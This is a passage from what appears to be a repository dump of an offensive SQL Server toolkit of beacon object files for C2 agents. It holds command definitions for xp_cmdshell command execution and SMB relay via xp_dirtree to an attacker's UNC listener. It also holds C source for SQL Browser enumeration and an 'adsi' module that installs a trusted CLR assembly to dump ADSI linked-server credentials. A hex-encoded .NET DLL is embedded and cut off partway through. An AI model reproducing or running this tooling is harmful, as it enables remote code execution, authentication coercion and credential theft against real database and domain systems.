execution\", \"\");\n_cmd_smb.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_smb.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_smb.addArgString(\"server\",   true, \"SQL server to connect to\");\n_cmd_smb.addArgString(\"listener\", true, \"UNC path listener (e.g., \\\\\\\\host\\\\share)\");\n_cmd_smb.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let listener = parsed_json[\"listener\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, listener, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/smb.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server SMB relay via xp_dirtree\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_tables = ax.create_command(\"tables\", \"Enumerate tables within a database\", \"mssql tables [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_tables.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_tables.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_tables.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_tables.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_tables.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_tables.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_tables.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/tables.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate Tables\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_users = ax.create_command(\"users\", \"Enumerate users with database access\",\"mssql users [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_users.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_users.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_users.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_users.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_users.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_users.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_users.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/users.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate users with database access\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_whoami = ax.create_command(\"whoami\", \"Gather logged in user, mapped user and roles from SQL server\", \"mssql whoami [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_whoami.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_whoami.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_whoami.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_whoami.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_whoami.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_whoami.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_whoami.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/whoami.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server whoami BOF\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_xpcmd = ax.create_command(\"xpcmd\", \"Execute a system command via xp_cmdshell\", \"mssql xpcmd [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [command]\");\n_cmd_xpcmd.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_xpcmd.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_xpcmd.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_xpcmd.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_xpcmd.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_xpcmd.addArgString(\"server\",  true, \"SQL server to connect to\");\n_cmd_xpcmd.addArgString(\"command\", true, \"Command to execute via xp_cmdshell\");\n_cmd_xpcmd.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let command      = parsed_json[\"command\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, command, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/xpcmd.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server xp_cmdshell execution\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar cmd_mssql = ax.create_command(\"mssql\", \"Microsoft SQL Server BOF\");\ncmd_mssql.addSubCommands([_cmd_1434udp, _cmd_adsi, _cmd_agentcmd, _cmd_agentstatus, _cmd_checkrpc, _cmd_clr, _cmd_columns, _cmd_databases, _cmd_disableclr,\n    _cmd_disableole, _cmd_disablerpc, _cmd_disablexp, _cmd_enableclr, _cmd_enableole, _cmd_enablerpc, _cmd_enablexp, _cmd_impersonate, _cmd_info, _cmd_links,\n    _cmd_olecmd, _cmd_query, _cmd_rows, _cmd_search, _cmd_smb, _cmd_tables, _cmd_users, _cmd_whoami, _cmd_xpcmd\n]);\n\nvar group_sql = ax.create_commands_group(\"SQL-BOF\", [cmd_mssql]);\nax.register_commands_group(group_sql, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/1434udp/entry.c",
    "content": "#include \"bofdefs.h\"\n#include \"base.c\"\n\nvoid UdpEnumInfo(char* serverIp)\n{\n\tint port = 1434;\n\tint timeout = 1000;\n    WSADATA wsaData;\n    SOCKET udpSocket = INVALID_SOCKET;\n    struct sockaddr_in serverAddr;\n    char sendBuffer[1] = { 0x02 };\n    char recvBuffer[1024];\n    int recvBufferLen = sizeof(recvBuffer);\n    int serverAddrLen = sizeof(serverAddr);\n    char* response = NULL;\n\n    if (WS2_32$WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {\n        internal_printf(\"WSAStartup failed with error: %d\\n\", WS2_32$WSAGetLastError());\n        return;\n    }\n\n    udpSocket = WS2_32$socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n    if (udpSocket == INVALID_SOCKET) {\n        internal_printf(\"Socket creation failed with error: %d\\n\", WS2_32$WSAGetLastError());\n        goto END;\n    }\n\n    if (WS2_32$setsockopt(udpSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) {\n        internal_printf(\"Failed to set receive timeout: %d\\n\", WS2_32$WSAGetLastError());\n        goto END;\n    }\n\n    if (WS2_32$setsockopt(udpSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) {\n        internal_printf(\"Failed to set send timeout: %d\\n\", WS2_32$WSAGetLastError());\n        goto END;\n    }\n\n    intZeroMemory(&serverAddr, sizeof(serverAddr));\n    serverAddr.sin_family = AF_INET;\n    serverAddr.sin_port = WS2_32$htons(port);\n    if (WS2_32$inet_pton(AF_INET, serverIp, &serverAddr.sin_addr) != 1) {\n        internal_printf(\"Invalid server IP address.\\n\");\n        goto END;\n    }\n\n    if (WS2_32$sendto(udpSocket, sendBuffer, sizeof(sendBuffer), 0, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {\n        internal_printf(\"Failed to send request: %d\\n\", WS2_32$WSAGetLastError());\n        goto END;\n    }\n\n    int bytesReceived = WS2_32$recvfrom(udpSocket, recvBuffer, recvBufferLen - 1, 0, (struct sockaddr*)&serverAddr, &serverAddrLen);\n    if (bytesReceived == SOCKET_ERROR) {\n        internal_printf(\"Failed to receive response: %d\\n\", WS2_32$WSAGetLastError());\n        goto END;\n    }\n\n    recvBuffer[bytesReceived] = '\\0';\n\n    response = intAlloc(bytesReceived + 1);\n    if (response == NULL) {\n        internal_printf(\"Memory allocation failed.\\n\");\n        goto END;\n    }\n\n    int responseIndex = 0;\n\tfor (int i = 0; i < bytesReceived; ++i) {\n\t\tif (recvBuffer[i] >= 32 && recvBuffer[i] <= 126) {\n\t\t\tresponse[responseIndex++] = recvBuffer[i];\n\t\t}\n\t}\n    response[responseIndex] = '\\0';\n\n\tif (response != NULL) {\n        internal_printf(\"SQL Server Connection Info:\\n\\n%s\\n\", response);\n        intFree(response);\n    } else {\n        internal_printf(\"Failed to retrieve SQL Server info.\\n\");\n    }\n\nEND:\n\tif (udpSocket != INVALID_SOCKET) {\n    \tWS2_32$closesocket(udpSocket);\n\t}\n    WS2_32$WSACleanup();\n}\n\n\nVOID go( IN PCHAR Buffer, IN ULONG Length )\n{\n\tchar* ip;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, Buffer, Length);\n\t\n\tip = BeaconDataExtract(&parser, NULL);\n\n\tip = *ip == 0 ? NULL : ip;\n\t\n\tif(!bofstart())\n\t\treturn;\n\n\tif (ip == NULL)\n\t{\n\t\tinternal_printf(\"[!] IP argument is required\\n\");\n\t\tprintoutput(TRUE);\n\t\treturn;\n\t}\n\t\n\tUdpEnumInfo(ip);\n\n\tprintoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/adsi/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"ldapserver.h\"\n#include \"sql.c\"\n#include \"sql_clr.c\"\n#include \"sql_modules.c\"\n#include <pthread.h>\n\ntypedef struct ThreadData {\n  SQLHSTMT stmt;\n  char *function;\n  char *port;\n  char *link;\n  char *impersonate;\n} ThreadData;\n\nvoid *RunThreadedQuery(LPVOID threadData) {\n  ThreadData *data = (ThreadData *)threadData;\n\n  char *prefix = \"SELECT dbo.\";\n  char *middle = \"(\";\n  char *suffix = \");\";\n\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(data->function) + MSVCRT$strlen(middle) + MSVCRT$strlen(data->port) + MSVCRT$strlen(suffix) + 1;\n  char *query = (char *)intAlloc(totalSize);\n\n  MSVCRT$strcpy(query, prefix);\n  MSVCRT$strncat(query, data->function, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, data->port, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n  HandleQuery(data->stmt, (SQLCHAR *)query, data->link, data->impersonate, FALSE);\n\n  intFree(query);\n}\n\nvoid DumpAdsiCreds(char *server, char *database, char *link, char *impersonate, char *adsiServer, char *port, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  //\n  // non-standard, for the duplicate connection\n  //\n  SQLHENV env2 = NULL;\n  SQLHSTMT stmt2 = NULL;\n  SQLHDBC dbc2 = NULL;\n  char *trigger = NULL;\n\n  InitRandomSeed();\n  char *dllPath = GenerateRandomString(8);\n  char *function = GenerateRandomString(8);\n  char *assemblyName = \"ldapServer\";\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Obtaining ADSI credentials for \\\"%s\\\" on %s\\n\\n\", adsiServer, server);\n  } else {\n    internal_printf( \"[*] Obtaining ADSI credentials for \\\"%s\\\" on %s via %s\\n\\n\", adsiServer, link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  if (IsModuleEnabled(stmt, \"clr enabled\", link, impersonate)) {\n    internal_printf(\"[*] CLR is enabled\\n\");\n  } else {\n    internal_printf(\"[!] CLR is not enabled\\n\");\n    goto END;\n  }\n\n  ret = ODBC32$SQLCloseCursor(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to close cursor\\n\");\n    goto END;\n  }\n\n  if (link != NULL) {\n    if (IsRpcEnabled(stmt, link)) {\n      internal_printf(\"[*] RPC out is enabled\\n\");\n    } else {\n      internal_printf(\"[!] RPC out is not enabled\\n\");\n      goto END;\n    }\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n  }\n\n  if (AssemblyHashExists(stmt, LDAP_DLL_HASH, link, impersonate)) {\n    internal_printf( \"[!] Assembly hash already exists in sys.trusted_assesmblies\\n\");\n    internal_printf(\"[*] Dropping existing assembly hash before continuing\\n\");\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n\n    if (!DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate)) {\n      internal_printf(\"[!] Failed to drop existing assembly hash\\n\");\n      goto END;\n    }\n  } else {\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n  }\n\n  if (!AddTrustedAssembly(stmt, dllPath, LDAP_DLL_HASH, link, impersonate)) {\n    internal_printf(\"[!] Failed to add trusted assembly\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] Added SHA-512 hash for DLL to sys.trusted_assemblies with the name \\\"%s\\\"\\n\", dllPath);\n\n  if (!DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate)) {\n    internal_printf(\"[!] Failed to drop existing assembly and procedure\\n\");\n    goto END;\n  }\n\n  internal_printf( \"[*] Creating new LDAP server assembly with the name \\\"%s\\\"\\n\", assemblyName);\n  CreateAssembly(stmt, assemblyName, LDAP_DLL_BYTES, link, impersonate);\n\n  if (!AssemblyExists(stmt, assemblyName, link, impersonate)) {\n    internal_printf(\"[!] Failed to create custom assembly\\n\");\n    internal_printf(\"[*] Cleaning up...\\n\");\n    DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate);\n    DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate);\n    goto END;\n  }\n\n  internal_printf(\"[*] Loading LDAP server assembly into a new CLR runtime routine \\\"%s\\\"\\n\", function);\n  CreateAssemblyStoredProc(stmt, assemblyName, function, TRUE, link, impersonate);\n\n  ClearCursor(stmt);\n\n  if (!AssemblyFunctionExists(stmt, \"ldapAssembly.LdapSrv\", link, impersonate)) {\n    internal_printf(\"[!] Unable to load LDAP server assembly into custom CLR runtime routine\\n\");\n    internal_printf(\"[*] Cleaning up...\\n\");\n    DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate);\n    DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate);\n    goto END;\n  }\n\n  internal_printf(\"[*] Created \\\"[%s].[ldapAssembly.LdapSrv].[%s]\\\"\\n\", assemblyName, function);\n\n  ClearCursor(stmt);\n\n  internal_printf(\"[*] Creating a second connection to the SQL server for threaded query\\n\");\n  if (link == NULL) {\n    dbc2 = ConnectToSqlServerAuth(&env2, server, database, user, password);\n  } else {\n    dbc2 = ConnectToSqlServerAuth(&env2, server, NULL, user, password);\n  }\n\n  if (dbc2 == NULL) {\n    internal_printf(\"[!] Failed to create second connection\\n\");\n    internal_printf(\"[*] Cleaning up...\\n\");\n    DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate);\n    DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate);\n    goto END;\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc2, &stmt2);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate second statement handle\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] Starting a local LDAP server on port %s\\n\", port);\n  ThreadData data = {stmt2, function, port, link, impersonate};\n\n  HANDLE hThread = KERNEL32$CreateThread(NULL, 0, (void *)RunThreadedQuery, &data, 0, NULL);\n  if (hThread == NULL) {\n    internal_printf(\"[!] Failed to create new thread\\n\");\n    internal_printf(\"[*] Cleaning up...\\n\");\n    DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate);\n    DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate);\n    goto END;\n  }\n\n  internal_printf( \"[*] Executing LDAP solication (this will fire some errors)...\\n\\n\");\n\n  if (link == NULL) {\n    char *part1 = \"SELECT * FROM OPENQUERY(\\\"\";\n    char *part2 = \"\\\", 'SELECT * FROM ''LDAP://localhost:\";\n    char *part3 = \"''')\";\n\n    size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(adsiServer) + MSVCRT$strlen(part2) + MSVCRT$strlen(port) + MSVCRT$strlen(part3) + 1;\n    trigger = (char *)intAlloc(totalSize);\n\n    MSVCRT$strcpy(trigger, part1);\n    MSVCRT$strncat(trigger, adsiServer, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, part2, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, port, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, part3, totalSize - MSVCRT$strlen(trigger) - 1);\n  } else {\n    char *part1 = \"SELECT * FROM OPENQUERY(\\\"\";\n    char *part2 = \"\\\", 'SELECT * FROM OPENQUERY(\\\"\";\n    char *part3 = \"\\\", ''SELECT * FROM ''''LDAP://localhost:\";\n    char *part4 = \"'''''')')\";\n\n    size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(link) + MSVCRT$strlen(part2) + MSVCRT$strlen(adsiServer) + MSVCRT$strlen(part3) + MSVCRT$strlen(port) + MSVCRT$strlen(part4) + 1;\n    trigger = (char *)intAlloc(totalSize);\n\n    MSVCRT$strcpy(trigger, part1);\n    MSVCRT$strncat(trigger, link, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, part2, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, adsiServer, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, part3, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, port, totalSize - MSVCRT$strlen(trigger) - 1);\n    MSVCRT$strncat(trigger, part4, totalSize - MSVCRT$strlen(trigger) - 1);\n  }\n\n  HandleQuery(stmt, (SQLCHAR *)trigger, NULL, impersonate, FALSE);\n  HandleQuery(stmt, (SQLCHAR *)trigger, NULL, impersonate, FALSE);\n\n  KERNEL32$WaitForSingleObject(hThread, INFINITE);\n  KERNEL32$CloseHandle(hThread);\n\n  internal_printf(\"\\n[*] LDAP server thread finished\\n\\n\");\n  PrintQueryResults(stmt2, TRUE);\n\n  internal_printf(\"\\n[*] Cleaning up...\\n\");\n  DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate);\n  DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate);\n\nEND:\n  intFree(dllPath);\n  intFree(function);\n  if (trigger != NULL)\n    intFree(trigger);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n  if (stmt2 != NULL)\n    ODBC32$SQLCloseCursor(stmt2);\n  if (dbc2 != NULL)\n    DisconnectSqlServer(env2, dbc2, stmt2);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *adsiServer;\n  char *port;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  adsiServer = BeaconDataExtract(&parser, NULL);\n  port = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  DumpAdsiCreds(server, database, link, impersonate, adsiServer, port, user, password);\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/adsi/ldapserver.h",
    "content": "//\n// This is the .NET assembly for an LDAP server in SQL byte format\n//\nchar* LDAP_DLL_BYTES = \"4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300265F83640000000000000000E00002210B010B00002A000000060000000000001E49000000200000006000000000001000200000000200000400000000000000040000000000000000A000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000D04800004B00000000600000B002000000000000000000000000000000000000008000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E746578740000002429000000200000002A000000020000000000000000000000000000200000602E72737263000000B00200000060000000040000002C0000000000000000000000000000400000402E72656C6F6300000C000000008000000002000000300000000000000000000000000000400000420000000000000000000000000000000000490000000000004800000002000500A02D0000301B00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133001002000000001000011026F190000060B1201280500000A2D091201280600000A2B0116000A2B00062A133001002000000001000011026F190000060B1201280500000A2D091201280600000A2B0116000A2B00062A1B30030002010000020000110072010000700A007E0700000A02730800000A0B076F0900000A00076F0A00000A0C086F0B00000A0D7203000070130572030000701306091204282B0000062611047B410000047E010000042D1314FE0602000006730C00000A80010000042B007E01000004280100002B16FE01130A110A2D570011047B410000047E020000042D1314FE0603000006730C00000A80020000042B007E02000004280200002B130711077B41000004176F0F00000A6F0300002B130511077B41000004186F0F00000A6F0300002B130600086F1000000A00076F1100000A00721700007011051106281200000A0A00DE0E13080011086F1300000A0A00DE00000613092B0011092A00000110000000000700E4EB000E13000001133005005D00000003000011000316FE01130411042D140002722700007072010000706F1400000A100000026F1500000A0A06185B8D140000010B160C2B1A000708185B0208186F1600000A1F10281700000A9C000818580C0806FE04130411042DDC070D2B00092A00000013300300500000000400001100028E69185A731800000A0A00020D1613042B24091104910B0006722B000070078C14000001281900000A6F1A00000A26001104175813041104098E69FE04130511052DCF066F1300000A0C2B00082A1B300200890000000500001100170A72010000700B00026F1B00000A13042B3D11046F1C00000A0C000708281D00000A8C18000001281E00000A0B061E5D16FE0116FE01130511052D0E00077227000070281F00000A0B000617580A0011046F2000000A130511052DB6DE1D110475190000011306110614FE01130511052D0811066F2100000A00DC00076F2200000A0D2B00092A00000001100000020012004E60001D00000000133005007E0000000600001100021F7FFE02130511052D1500178D14000001130611061602D29C110613042B5A0002282300000A0A068E69D20B2B1800071759D20B060717599116FE01130511052D03002B0E000716FE0416FE01130511052DDB072080000000580C1707588D140000010D091608D29C0616091707282400000A000913042B0011042A0000133005005D0000000700001100041754160A0203911D6317FE0116FE01130411042D37000203911F7F5F0B1A8D140000010C02031758081607282400000A0008280400002B280500002B16282700000A0A04254A075854002B09000203911F7F5F0A00060D2B00092A000000133004006D0000000800001100031754160A178D140000010B020716176F2800000A260716911D6317FE0116FE01130511052D34000716911F7F5F0C088D140000010D020916086F2800000A2609280400002B280500002B16282700000A0A03254A085854002B09000716911F7F5F0A000613042B0011042A000000133002001200000009000011000203280600002B282A00000A0A2B00062A0000133001000B0000000A000011027B3E0000040A2B00062A2202037D3E0000042A13300300220000000B00001100178D140000010B071602280B0000069C07732B00000A1B282C00000A0A2B00062A0000133002000E0000000C0000110002280B0000061C630A2B00062A0000133002000F0000000D0000110002280B0000061F1F5F0A2B00062A00133002000F0000000E0000110002280B0000061F1F5F0A2B00062A0013300200100000000A0000110002280B0000061F1F5FD20A2B00062A8202282D00000A00000203D204282E00000A1B62581F4058D2280C00000600002A7602282D00000A00000203D204282E00000A1B6258D2280C00000600002A8A02282D00000A0000020304282E00000A1B6258208000000058D2280C00000600002A0000133001000C0000000F000011000273160000060A2B00062A4A02282D00000A00000203280C00000600002A0013300100110000000C00001100027B3F0000046F0E0000060A2B00062A00000013300100110000001000001100027B3F0000046F0D0000060A2B00062A00000013300200380000001100001100027B3F0000046F0E00000617FE0116FE010B072D1400027B3F0000046F10000006732F00000A0A2B0C1202FE150100001B080A2B00062A13300200380000001200001100027B3F0000046F0E00000616FE0116FE010B072D1400027B3F0000046F0F000006733000000A0A2B0C1202FE150400001B080A2B00062A13300200380000001300001100027B3F0000046F0E00000618FE0116FE010B072D1400027B3F0000046F11000006733100000A0A2B0C1202FE150500001B080A2B00062ABA02168D140000017D4000000402733200000A7D4100000402282D00000A000002030473120000067D3F000004002AEE02168D140000017D4000000402733200000A7D4100000402282D00000A000002030473120000067D3F00000402020528260000067D40000004002ABA02168D140000017D4000000402733200000A7D4100000402282D00000A000002030473130000067D3F000004002AEE02168D140000017D4000000402733200000A7D4100000402282D00000A000002030473130000067D3F00000402020528260000067D40000004002ABA02168D140000017D4000000402733200000A7D4100000402282D00000A000002030473140000067D3F000004002AEE02168D140000017D4000000402733200000A7D4100000402282D00000A000002030473140000067D3F00000402020528260000067D40000004002AA202168D140000017D4000000402733200000A7D4100000402282D00000A000002037D3F000004002A1E02282D00000A2A4E027B42000004036F230000066F3300000A002A000013300500CD00000014000011140C732D0000060D0009733400000A7D42000004027B3F0000046F0D00000616FE01130511052D2300027B41000004082D0F09FE062E000006733500000A0C2B00086F3600000A00002B1400097B42000004027B400000046F3300000A0000097B420000046F3700000A28070000060A17068E6958097B420000046F3700000A588D140000010B0716027B3F0000046F0B0000069C06160717068E69282400000A00097B420000046F3800000A160717068E6958097B420000046F3700000A282400000A000713042B0011042A00000013300200200000001500001100022825000006D00800001B283900000A283A00000AA50800001B0A2B00062A13300500D90000001600001100027B3F0000046F0E00000616FE0116FE010C083AA100000000027B3F0000046F0F00000617FE0116FE010C082D1800027B4000000416283B00000A8C200000010B3890000000027B3F0000046F0F00000618FE0116FE010C082D41001A8D140000010A027B4000000416061A027B400000048E6959027B400000048E69282400000A0006280400002B280500002B16282700000A8C180000010B2B3A00283C00000A027B4000000416027B400000048E696F3D00000A0B2B1D00283C00000A027B4000000416027B400000048E696F3D00000A0B2B00072A00000013300300060100001700001100036F3E00000AD012000001283900000A283F00000A16FE010B072D1700283C00000A0374120000016F4000000A0A38D0000000036